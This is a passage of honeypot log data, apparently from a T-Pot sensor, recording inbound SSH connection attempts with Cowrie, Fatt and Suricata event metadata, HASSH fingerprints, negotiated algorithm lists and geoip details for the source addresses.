27699	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:15:11.169174+03	2021-09-20 14:30:01.807524+03	{"_id": "mgbqAnwBvYTbRNuEwCm0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 39006, "timestamp": "2021-09-20T11:15:11.169174", "@timestamp": "2021-09-20T11:15:11.169Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27700	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:15:11.169231+03	2021-09-20 14:30:01.808524+03	{"_id": "mwbqAnwBvYTbRNuEwCm0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 39006, "dest_port": 22, "timestamp": "2021-09-20T11:15:11.169231", "@timestamp": "2021-09-20T11:15:11.169Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
27701	159.89.194.160	109.199.241.180	Fatt	2021-09-20 14:15:11.232872+03	2021-09-20 14:30:01.810524+03	{"_id": "nAbqAnwBvYTbRNuEwCm0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "159.89.194.160", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "159.89.194.160", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 36088, "dest_port": 22, "timestamp": "2021-09-20T11:15:11.232872", "@timestamp": "2021-09-20T11:15:11.232Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
27702	159.89.194.160	109.199.241.180	Cowrie	2021-09-20 14:15:11.233421+03	2021-09-20 14:30:01.811524+03	{"_id": "nQbqAnwBvYTbRNuEwSl1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "159.89.194.160", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "159.89.194.160", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "0ea6c61a8bca", "@version": "1", "timestamp": "2021-09-20T11:15:11.233421Z", "@timestamp": "2021-09-20T11:15:11.233Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
27703	159.89.194.160	109.199.241.180	Cowrie	2021-09-20 14:15:13.237779+03	2021-09-20 14:30:01.812524+03	{"_id": "uQbqAnwBvYTbRNuEySlH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.89.194.160", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.89.194.160", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "0ea6c61a8bca", "@version": "1", "duration": 2.182077646255493, "timestamp": "2021-09-20T11:15:13.237779Z", "@timestamp": "2021-09-20T11:15:13.237Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
27706	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:15:15.913446+03	2021-09-20 14:30:01.816526+03	{"_id": "ygbqAnwBvYTbRNuE0ykB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 1571092280077467, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 50542, "dest_port": 22, "timestamp": "2021-09-20T11:15:15.913446Z", "@timestamp": "2021-09-20T11:15:15.913Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
27707	5.188.62.196	109.199.241.180	Cowrie	2021-09-20 14:15:16.584926+03	2021-09-20 14:30:01.817524+03	{"_id": "1AbqAnwBvYTbRNuE1SkC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes128-gcm@openssh.com", "chacha20-poly1305@openssh.com", "aes128-ctr", "aes192-ctr", "aes256-ctr", "aes128-cbc", "3des-cbc", "arcfour", "arcfour128", "arcfour256"], "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "hassh": "eccf733a56108dec8ecc8efbc681be63", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512", "hmac-sha2-256", "hmac-sha1", "hmac-sha1-96"], "compCS": ["none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "5.188.62.196", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1"], "keyAlgs": ["ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ssh-ed25519-cert-v01@openssh.com", "ecdsa-sha2-nistp256", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp521", "ssh-rsa", "ssh-dss", "ssh-ed25519"], "message": "SSH client hassh fingerprint: eccf733a56108dec8ecc8efbc681be63", "session": "ee2693637d5e", "@version": "1", "timestamp": "2021-09-20T11:15:16.584926Z", "@timestamp": "2021-09-20T11:15:16.584Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256;hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none"}}	1	\N	cowrie.client.kex	\N	\N	\N
27708	5.188.62.196	109.199.241.180	Suricata	2021-09-20 14:15:16.582853+03	2021-09-20 14:30:01.818525+03	{"_id": "1wbqAnwBvYTbRNuE1inp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "Go"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "proto": "TCP", "src_ip": "5.188.62.196", "dest_ip": "192.168.20.116", "flow_id": 631735687843640, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 61142, "dest_port": 22, "timestamp": "2021-09-20T11:15:16.582853Z", "@timestamp": "2021-09-20T11:15:16.582Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
27709	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:15:16.525818+03	2021-09-20 14:30:01.820524+03	{"_id": "2QbqAnwBvYTbRNuE2Ckm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "5.188.62.196", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 61142, "timestamp": "2021-09-20T11:15:16.525818", "@timestamp": "2021-09-20T11:15:16.525Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27710	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:15:17.645133+03	2021-09-20 14:30:01.821525+03	{"_id": "2wbqAnwBvYTbRNuE2Cnr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "4306e5def5fb", "@version": "1", "timestamp": "2021-09-20T11:15:17.645133Z", "@timestamp": "2021-09-20T11:15:17.645Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
27711	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:15:22.6101+03	2021-09-20 14:30:01.822525+03	{"_id": "CwbqAnwBvYTbRNuE7yqb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", 